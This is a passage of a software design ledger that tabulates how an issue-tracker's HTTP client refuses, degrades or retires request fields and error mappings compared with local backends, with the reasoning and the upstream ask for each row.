TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L18 | degrade | — | DOWN-LEVEL ONLY: against a server that does not advertise issues.batchClose, a single-id `bd close` still composes onto closeIssue and records the SERVER's own close commit message rather than the batch's id-naming entry; the multi-id and --claim-next shapes refuse there | the composed leg is one closeIssue call, so the history entry it leaves is the one that operation writes for itself — the batch's entry names the ids it closed and this one cannot, because no batch ran. Where issues.batchClose IS advertised the whole request is one call and one server-side transaction, so this divergence does not arise at all; the down-level leg survives on purpose, because `bd close` worked against pre-batchClose servers before this port and refusing it now would be a regression dressed as progress. It is the same posture L14 takes toward issues.claimNext. It is a degrade rather than a refuse because the close LANDS and the answer is neither narrower nor wider than the caller asked for — only the record of it is the operation's rather than the batch's. Retirement is a fleet fact rather than an upstream ask: the row goes when no server this client may meet is older than issues.batchClose | D9 L18, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-create-notfound | degrade | — | a create whose dependency or waits-for target names no row refuses as issueops.ErrValidation ALONE — not as ErrValidation wrapping ErrNotFound — and does not name the target | the wire answers a dangling target with a 400 invalid_argument naming `dependencies` and a FIXED detail (internal/httpapi's failCreateIssue), which deliberately does not quote the role's own message: that message arrives as a driver error naming tables and constraints, and 4xx details on this surface reflect the caller's own input back rather than server internals. The refusal still fails the whole request and creates NOTHING — the promise the row is about — and only the second sentinel and the target's name are lost. It is batchCreateIssues' L-batchcreate-notfound on the single create, and it retires the same way: an upstream code that distinguishes the absent-target refusal and carries the target. A missing --parent target already retired out of this row: failCreateIssue's errors.As(&parentNotFound) arm answers it with a distinguishing 404 not_found that names the target, and the client maps that to issueops.ErrNotFound (see TestServedCreateRefusesAnAbsentParentAsNotFound) — the row now covers only dependency and waits-for targets | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-create-prefix | degrade | — | an unforced explicit id outside the workspace's configured prefix refuses as issueops.ErrValidation rather than as storage.ErrPrefixMismatch | the wire spells that refusal as a 400 invalid_argument with `param: "id"` and `reason: invalid_value` (internal/httpapi's failCreateIssue), which is the SAME pair a malformed or oversized `id` earns — so nothing on the wire tells the two apart, and reconstructing the typed sentinel from the pair would misclassify every other refusal of that member. The guard itself is untouched: the id is refused, nothing is created, and the detail names `force_id_prefix` as the bypass, which is the recovery a caller needs. What is lost is the errors.Is arm both local front doors use to decide whether to re-offer the create with --force. Upstream ask: a prefix_mismatch code, or a reason that distinguishes it, which retires this row | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-apply-snapshot | degrade | — | every ItemResult of a batch apply comes back with Issue nil, where a local backend hydrates a post-item snapshot | the WIRE result is lean by the document's own decision and the role's leaf says why: ApplyItemResult carries ids, `changed` and `revision` and no issue, because the Go contract carries the snapshot for its COMPLETION HOOKS — which hand a script the row they are telling it about — and hooks never fire on the http surface at all. A hundred hydrated issues with their labels and edges would be a response an order of magnitude larger than the request that produced it. What a caller loses is a read it can make: the ids ARE published, per item and through Keys, so the rows are one getIssue away and the plan's next step is composed from ids rather than from snapshots. It is a degradation rather than a refusal because nothing about the WRITE differs — every item landed exactly as asked — and refusing would make the whole operation unavailable over http to keep a member no consumer on this surface can use | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-apply-ref | degrade | — | an unresolvable metadata_refs key comes back as a *RefError naming the MEMBER rather than the key, and the reconstructed error replaces the server's problem envelope | the wire's 400 names the offending member in `param` — `items[3].create.metadata_refs` — and carries the item index, the item's key and `declared_later`, but not WHICH entry of the refs map failed: the role's RefError.Member is diagnostic prose (`metadata_ref `) rather than a vocabulary, so the server maps it onto the document's own member names instead of publishing it. The two ADDRESSING refs, target and source, are named exactly. The envelope is dropped because issueops.RefError has nowhere to put it: its Unwrap is hardcoded to ErrValidation and it carries no member for a cause, which is the role type's shape rather than a choice made here. The discriminator a caller ACTS on — an ordering mistake against a typo — survives whole, in both polarities. Upstream ask: a typed ref-key member on the problem document, which retires this row | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-comment-author | degrade | — | a comment's AUTHOR is subject to the server's own actor rule, which no local leg applies: it is stored TRIMMED where a local backend stores it verbatim, and one carrying a control character is refused (issueops.ErrValidation) where a local backend stores it | the operation validates `author` with the `actor` rules whole (internal/httpapi's validateNameMember: trim, refuse empty, refuse past 256 bytes or 255 characters, refuse any control rune) and passes the TRIMMED value on to the role, while issueops.ValidateAddCommentRequest checks only that the field is non-empty and stores what it was given. So the same request produces a different STORED VALUE on the two legs, and a value one leg stores the other refuses. IT IS THE SERVER'S RULE AND THE DOCUMENT PUBLISHES IT, which is why this is a ledger row rather than a bug on either side: the schema states the trim and the character rule in as many words, and the reason is the column — `author` is 255 characters wide and every renderer of the thread prints it, where an unfiltered C1 introducer is an escape-sequence payload. The refusal half is a NARROWING the wire makes on purpose. THE CLIENT DOES NOT ANTICIPATE EITHER HALF, and that is the decision this row records. Trimming here would make the client agree with the server about the stored value and disagree with the role's own contract — and it would silently rewrite a caller's request, which is the one thing this seam never does. Refusing the control rune here would be a second copy of a server rule that is free to move. So the value travels as the caller wrote it and the server's answer is reported unchanged, which keeps the divergence visible instead of laundering it. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS: a well-formed author is stored, and the difference cannot be misread as a wider or narrower answer — a comment lands on the thread the caller named either way. The refusal half is the SERVER's, not this client's refuse-not-drop, which is what KindRefuse classifies. What a caller loses is an author whose surrounding space survives, and the recovery is the one the role's own contract already implies: compose the author from a value you would be willing to see printed. Upstream ask: either the role trimming its own author on every leg, or the operation storing it verbatim — the rows agree the day the two rules become one | D8 row 19 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-release-notclaimed | degrade | — | a release of a row that holds NO CLAIM answers issueops.ErrNotReleasable rather than issueops.ErrNotClaimed; a status that will not accept a release answers ErrNotReleasable as it does everywhere | the role splits the two — ErrNotClaimed for a row nobody holds, ErrNotReleasable for a status the transition is not defined over — and the wire spells BOTH `not_releasable` under one code, with no member telling them apart. That is the server's deliberate choice (internal/httpapi's CodeNotReleasable) rather than an omission, and its detail names both conditions instead of guessing between them. So this client maps to the WIDER of the two, which is the only honest read: reconstructing ErrNotClaimed would assert a fact about the row that the wire never sent, and scraping the detail for it would bind a sentinel to prose. NOTHING ELSE ABOUT THE REFUSAL MOVES — nothing is written, the row and its version are untouched, and the conditional path is unaffected: a caller that named a holder gets ErrAssigneeMismatch on both sides, because that refusal has a code of its own. The caller who loses something is the one that told 'I already released this' from 'the row was never claimed', and the recovery is the one the server's own detail prescribes: READ THE ROW rather than retrying blind. Upstream ask: a code, or a member, that distinguishes the unheld row from the unreleasable status — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-release-notowner | degrade | — | an unforced, unconditional release by an actor that is NOT the holder answers issueops.ErrAlreadyClaimed — carrying *issueops.ClaimConflictError — rather than issueops.ErrNotOwner | the wire answers the ownership fence with `already_claimed`, which is the code updateIssue already gives the same situation (a live foreign owner refusing a write, with a force bypass and a name-the-holder bypass), and this client maps that code to the sentinel every other operation means by it. The two sentinels are distinct values in issueops and neither wraps the other, so the arm a caller writes differs. REPORTING IT AS ErrNotOwner WOULD BE THE WORSE TRADE, not merely a different one: the code is shared with the claim refusals, so a client that special-cased it for this operation would be reading the OPERATION to decide the sentinel rather than the code — and would then answer ErrNotOwner for a genuine already_claimed the day the server reuses the code here for anything else. WHAT SURVIVES IS EVERYTHING A CALLER ACTS ON: the refusal is typed, it names the row (the request supplied the id the wire leaves out), nothing is written, and BOTH bypasses answer exactly as the role says — force releases the foreign claim, and naming the holder in expected_assignee releases it too, because a match replaces the fence. The wire deliberately sends no `assignee` member here, so the holder is not named: absence means 're-read the row', never 'nobody holds it'. Upstream ask: a code, or a member, that separates the release's fence from a claim conflict — which retires this row | D8 (Releaser), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-config-bounds | degrade | — | a setting VALUE past types.MaxTextBytes bytes, and a setting KEY past types.MaxFieldLen characters on the WRITE, are refused with issueops.ErrValidation naming the member; on a local leg the same request reaches the column and fails with the engine's own `too large for column` error, which is no sentinel at all | the bound belongs to the OPERATION rather than to the role: internal/httpapi's settingWriteKey and settingValue check both before the role is called, because a request the caller could have fixed should be a 400 naming the member rather than the 500 a column overflow would otherwise produce. workapi.ValidateSettingWrite — the rule every leg shares — applies no length bound at all, so below the wire the column is the only check there is. MEASURED, not inferred: a 65536-byte value answers `400 invalid_argument: \`value\` is 65536 bytes; storage holds at most 65535` over http and `Error 1105: string ... is too large for column 'value'` on the embedded leg, and a 306-character key splits the same way. Exactly 65535 bytes is accepted on both. THIS CLIENT RESTATES NEITHER BOUND, and that is the decision this row records. They are the SERVER's policy on a value whose shape the role accepted, one release away from moving, so a second copy here would either drift or refuse a request a newer server would take — the same argument L-comment-author makes about the author rule, and the same posture. What travels back is the operation's own 400, which the problem mapper turns into ErrValidation. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS and because the divergence runs in the CALLER'S FAVOR: over http an oversized write is a typed, member-named refusal that wrote nothing, where a local leg hands back a driver error no caller can classify. What a caller loses is nothing; what a caller must not assume is that a value a local workspace stored will store here. THE TWO BOUNDS ARE NOT SYMMETRIC ACROSS THE VERBS, and the asymmetry is the operation's: DELETE checks only that the key names something, so removing a 306-character key succeeds over http exactly as it does locally. Upstream ask: the length rules moving onto the shared validator, which retires this row by making the two legs one | D8 row 11, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-update-fieldlen | degrade | — | an updateIssue patch member past types.MaxFieldLen characters — a label on any of the three label members, `title`, `external_ref` — is refused with issueops.ErrValidation naming the member; on a local leg the same request answers types.ErrFieldTooLong | the bound is applied TWICE and identically: internal/httpapi/update.go checks types.CheckFieldLen at the edge before the role is called, and internal/storage/issueops applies the same function below it. So this is a classification divergence and not a policy one — a value one leg stores the other stores, and a value one leg refuses the other refuses. WHAT COARSENS IT is the spelling: the operation refuses with `invalid_argument` and reason `invalid_value` (internal/httpapi's refuse on the patch member), which is the SAME pair a malformed status, an unparseable timestamp or any other bad value on the same member earns. Nothing on the wire tells them apart, so reconstructing ErrFieldTooLong from the pair would misclassify every other refusal of that member — the argument L-create-prefix makes about the id, on the patch. MEASURED, not inferred: a 256-character label answers `400 invalid_argument: \`add_labels[0]\` is 256 characters; storage holds at most 255` over http and ErrFieldTooLong through the reference store's own Lifecycle role, and exactly 255 characters is accepted on both. THIS CLIENT RESTATES THE BOUND NOWHERE, and the reason differs from L-config-bounds': not that the rule is the server's to move, but that a second copy of a rule two layers already apply is a third place for it to drift. What travels back is the operation's own 400. IT IS A DEGRADE RATHER THAN A REFUSE because the path PROCEEDS and the outcome is identical on both legs — the request fails, the row is untouched, and no truncated value is stored — while the detail names the offending member and its length, which is the recovery a caller needs. What is lost is the errors.Is arm a caller writes to tell 'too long' from 'malformed'. Upstream ask: a `too_long` reason, or a code of its own, which retires this row | D8 row 16, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-events-paging | degrade | — | an UNCAPPED journal read (limit 0) is served as a loop of handler-sized requests rather than one, so its rows and its head no longer come from a single instant; a bounded read is one request and is unaffected | the role imposes no ceiling of its own — journalops.Journal says a limit of 0 means uncapped, because the caller that pages a hundred thousand records out to a file is as legitimate as the one polling for ten — and the OPERATION refuses `limit=0` by value, capping a page at 10000 (internal/httpapi's maxEventsLimit). That cap is the handler's promise to its clients rather than a narrowing of the role, and this client is on the other side of it. SO THE LOOP IS THE ONLY HONEST READING. Refusing an uncapped read would refuse something the role permits; capping one silently at 10000 would answer a partial page beside a head saying there is more, which is a consumer stalling on a gap nobody told it about. Both are worse than N transactions. WHAT SURVIVES IS WHAT A CONSUMER ACTS ON: rows stay contiguous and seq-ascending, because each page continues exactly where the last ended; the head is the LAST page's, so it is the freshest and can only be at or ahead of the last row served; and a truncation on any page is the whole read's failure, never a shorter answer — a loop that returned the prefix it had already gathered would answer a gap with a plausible-looking suffix, which is the one failure a replay feed must never ship. WHAT DOES NOT SURVIVE is atomicity across the whole answer: a mutation committing mid-loop appears in a later page of the SAME call rather than in the next one. A consumer cannot observe that as a gap or a duplicate — it reads as records it would have received on its next poll, arriving early — which is why this is a degrade rather than a refusal. IT IS A DEGRADE RATHER THAN A REFUSE for the ordinary reason too: the path proceeds, and the answer cannot be misread as narrower or wider than the caller asked for. Upstream ask: an unlimited spelling on the operation, or a cursor the page can hand back — either retires this row | D8 (Journal), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | + +## Write-side refuse-not-drop (D8) + +Role-request fields on the served writes that the v0 wire publishes no member for. Each refuses rather than forwarding a write shorn of the field — a silently dropped precondition or flag would widen what the write touches. + +| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | +|---|---|---|---|---|---|---| +| W-UpdateRequest.Claim | refuse | `UpdateRequest.Claim` | a claim combined with any other UpdateRequest member refuses; a claim ALONE does not — it dials claimIssue directly (see httpLifecycle.claimOnlyUpdate) | a claim is claimIssue's own operation and updateIssue cannot perform one, on this wire or on any other; it is the one row here that upstream #5484 did not touch. claimIssue's own request is the actor alone, so a claim-only UpdateRequest IS that request and is served through the Claimer role instead of refusing — that is gc's exclusive claim path, `bd update --claim --json`. What still refuses is PATCH claim: a claim folded into one atomic transaction WITH a patch, a guard or a force override, which no operation on this wire publishes and which is not synthesized as two calls (claimIssue then updateIssue), since that would let a caller observe an issue claimed but not yet patched. Upstream gastownhall/beads#6890 tracks the capability that would carry both in one call | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-ClaimRequest.Wisp | refuse | — | claiming a wisp is not supported over http | the v0 wire's claim operation excludes the wisp plane on every backend; claim this issue from a local workspace instead | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-UpdateRequest.ForceAssigneeTransfer | refuse | `UpdateRequest.ForceAssigneeTransfer` `--force` | bypassing the anti-steal assignee fence refuses | the wire publishes `force_assignee_transfer` (upstream #5484) and this client does not send it. What the refusal STANDS ON changed with client wave ga-7i6by and the row is narrower for it: the `assignee` the fence guards IS now sent (W-IssuePatch.Assignee), so what is left is the bypass alone. The fence itself is unbypassable rather than absent — a transfer away from a live foreign in-progress owner refuses with already_claimed, and a matched `expected_assignee` is the OTHER bypass, which this client does send. Carrying this one is a two-member port tracked as ga-2ltro.15 | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-UpdateRequest.ForceClosePolicy | refuse | `UpdateRequest.ForceClosePolicy` `--force` | bypassing close policy on a status-crossing update refuses | the wire publishes `force_close_policy` (upstream #5484) and this client does not send it; see W-UpdateRequest.ForceAssigneeTransfer for what the refusal now stands on, since client wave ga-7i6by sends the `status` whose crossing the policy gates. The policy is therefore enforced and not bypassable here: a status crossing into the done category with open children or a live blocker refuses with not_closable, typed, and writes nothing. Tracked as ga-2ltro.15 | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-UpdateRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). The refusal was always the CLIENT's rather than the document's — upstream #5484 published `expected_version` and this client had not been taught to emit it — and the row said so in as many words: 'flipping it is a port, not a decision: send the member, retire this row, and turn the refusal pin into a round-trip pin'. That is what happened. The member is now sent as a POINTER, so absent stays absent: 0 is a legal token (the migration-0054 backfill left rows holding it) and encoding 'no guard' as 0 would have armed a guard on every unguarded update. The pin below asserts the round trip in both directions | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-UpdateRequest.ExpectedAssignee | retired | — | the compare-and-set assignee precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). Its own trap is the mirror image of that one's: the EMPTY assignee is a real guard — it is how a caller says 'only if nobody holds it' — so this member cannot be omitted when it is empty either. A pointer expresses both, and the pin drives the empty-string guard as its own case | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-UpdateRequest.ExpectedStatus | retired | — | the compare-and-set status precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). The status guard is the readable one — `Issue.status` is on every read of this surface, so a caller can guard a transition with no token at all — and it is sent as the workspace's own status vocabulary, verbatim | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-UpdateRequest.IssuePlaneOnly | refuse | `UpdateRequest.IssuePlaneOnly` | restricting an update to the issue plane refuses | updateIssue publishes no plane restriction and the server's role auto-resolves both planes, so dropping the flag would EDIT the wisp the caller asked to be told did not exist — the widening refuse-not-drop exists to stop. Not in the design's own enumeration: the page lists the UpdateRequest members it had reviewed, and this one was found while wiring the role | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-UpdateRequest.Provenance | refuse | `UpdateRequest.Provenance` | labeling an update's history entry refuses | updateIssue publishes no provenance member and the server writes its own label, so a dropped Provenance would leave the history entry naming the SERVER's surface while the caller believed it named theirs. It is refused rather than degraded because the field's whole purpose is the label, so dropping it drops the request | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-CloseRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a close used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). CloseIssueRequest publishes expected_version (upstream #5506) and this client now emits it, so the guard reaches the server rather than refusing here — and the ordering the role promises, that the precondition is checked BEFORE the idempotent re-close, is the server's to keep and the served tier's to assert | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-ReopenRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a reopen used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf). The design's enumeration named the close half only, and the reopen half is the same field on the same verb pair — it retires the same way | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-DeleteRequest.ExpectedVersion | retired | — | the compare-and-delete row-version precondition used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf), and it is the one whose stakes made the refusal worth having: dropping this guard erases a row the caller had asked not to erase, with nothing left to compare afterwards. The multi-id refusal the wire attaches to it is deliberately NOT anticipated client-side: distinctness is measured after trimming and collapsing duplicates, which is the normalization this role sends its ids verbatim to avoid re-implementing | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-ReopenRequest.Provenance | refuse | `ReopenRequest.Provenance` | labeling a reopen's history entry refuses | reopenIssue publishes no provenance member and the server writes its own fixed label (`bd serve: reopen issue`); see W-UpdateRequest.Provenance | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-AddDependenciesRequest.SkipPerEdgeCycleCheck | refuse | `AddDependenciesRequest.SkipPerEdgeCycleCheck` `--no-cycle-check` | `bd dep add --no-cycle-check` refuses on the bulk --file path | the wire deliberately leaves SkipPerEdgeCycleCheck UNPUBLISHED and therefore false (internal/httpapi/dependency_edit.go). The single-edge spelling forwards false and only gates the post-hoc cycle warning, which the wire-backed CycleDetector serves, so it is served-with-note rather than refused | D7, D8 row 18, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.Status | retired | — | `bd update -s` used to refuse | RETIRED with client wave ga-7i6by. IssuePatchBody published `status` with upstream #5484 and this client's encoder now emits it; close and reopen still carry the lifecycle semantics a status write has nowhere to put — the reason and session under first-close-wins, the done-status normalization, the already-closed idempotence flag — and stay the operations to reach for. What this member serves is the status moved ALONGSIDE other fields in one transaction, which is the thing two calls cannot do | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.Assignee | retired | — | assignment and unassignment through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). The EMPTY STRING is the half that makes this member more than a rename: it UNASSIGNS, so a client that skipped an empty value would turn a real edit into no edit at all. The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are W-UpdateRequest.ForceAssigneeTransfer and the guard wave's own | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.Metadata | retired | — | a metadata patch used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). IssuePatchBody publishes the same replace/merge/set/unset algebra MetadataPatch carries, member for member, so the client projects it rather than translating it and the ordering rule — merge, then set in key order, then unset, with replace refusing beside the other three — stays the ROLE's, applied by the same body a local workspace runs. The CLEAR is the one state the wire's own struct cannot spell (`omitempty` omits it), which is why the document is built as a map and an empty replacement travels as the empty document. The compare-and-set door is a different question and is served by its own accessor (issues.casMetadata, ga-7i6by's other half) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.SpecID | refuse | `IssuePatch.SpecID` | a spec-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes spec_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.AwaitID | refuse | `IssuePatch.AwaitID` | an await-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes await_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.Owner | refuse | `IssuePatch.Owner` | an owner edit refuses ON updateIssue | IssuePatchBody excludes owner — which the document itself calls an accident of order rather than a decision, since ApplyPatchBody DOES publish it and issues:batchApply's update item carries it (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.ClosedBySession | refuse | `IssuePatch.ClosedBySession` | a closed-by-session edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes closed_by_session (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.Persistence | refuse | `IssuePatch.Persistence` | a persistence-mode edit refuses | neither body publishes persistence: moving a row between planes mid-plan is a different act from writing its fields (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-IssuePatch.ParentID | retired | — | a parent re-hang through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). It is ONE call rather than a remove-then-add pair, which is the whole reason the member exists: the two-call spelling leaves the issue parentless if the second call fails, and dependencies:add/remove — still the general write side of the graph over this wire — cannot express the atomic replacement. The empty string removes every parent-child edge, so it travels like `assignee`'s empty string rather than being skipped. The graph refusals it earns are the server's and arrive typed: a cycle through the issue's own descendant as the PLAIN dependency_cycle, and an existing edge of another type as dependency_exists | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-CreateBatchRequest.Provenance | refuse | `CreateBatchRequest.Provenance` | labeling a batch create's history entry refuses | batchCreateIssues publishes actor and items only, and the server writes its own label; see W-UpdateRequest.Provenance. It is the one Provenance whose ABSENCE is visible in shipped history — the surface this role serves has always named its source file in the entry (`bd: create 3 issue(s) from plan.md`) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-CreateBatchRequest.ForceIDPrefix | refuse | `CreateBatchRequest.ForceIDPrefix` `--force` | permitting explicit ids outside the workspace's configured prefix refuses | the wire publishes no such member — and could not honor one, since it publishes no explicit id for the flag to permit (W-BatchCreateItem.Issue). Dropping it would answer a request about WHERE ids may be written with a batch whose ids the server chose | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-BatchCreateItem.Issue | refuse | `BatchCreateItem.Issue` | an item whose Issue populates any member outside the wire's eight refuses, naming the member | apigen.BatchCreateItem carries title, description, design, acceptance_criteria, priority, issue_type, assignee and labels and nothing else, while the role accepts far more of a types.Issue: an explicit id, the wisp flags, metadata, the storage class, every timestamp, the gate/molecule/event fields. ONE row rather than one per member because the reason is one reason — the wire's item vocabulary — and forty rows repeating it would say nothing a reader does not learn here. Exhaustiveness is held by REFLECTION instead: the client's carried and role-ignored tables are checked against types.Issue field by field, so a member added upstream is refused the day it lands rather than dropped until someone notices. The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-CreateDependency.Reverse | refuse | `CreateDependency.Reverse` | an edge written from the target back to the new issue refuses ON A BATCH CREATE | BatchCreateDependency carries target_id and type only; dropping Reverse would write the edge in the OPPOSITE direction from the one asked for, which is a different graph. createIssue's CreateIssueDependency DOES publish it, and the single-create path sends it (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-CreateDependency.Metadata | refuse | `CreateDependency.Metadata` | typed edge metadata refuses ON A BATCH CREATE | BatchCreateDependency publishes no metadata member, and a waits-for gate whose metadata was dropped is a readiness rule that silently does not hold. createIssue's edge publishes it, and the single-create path sends it verbatim (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd 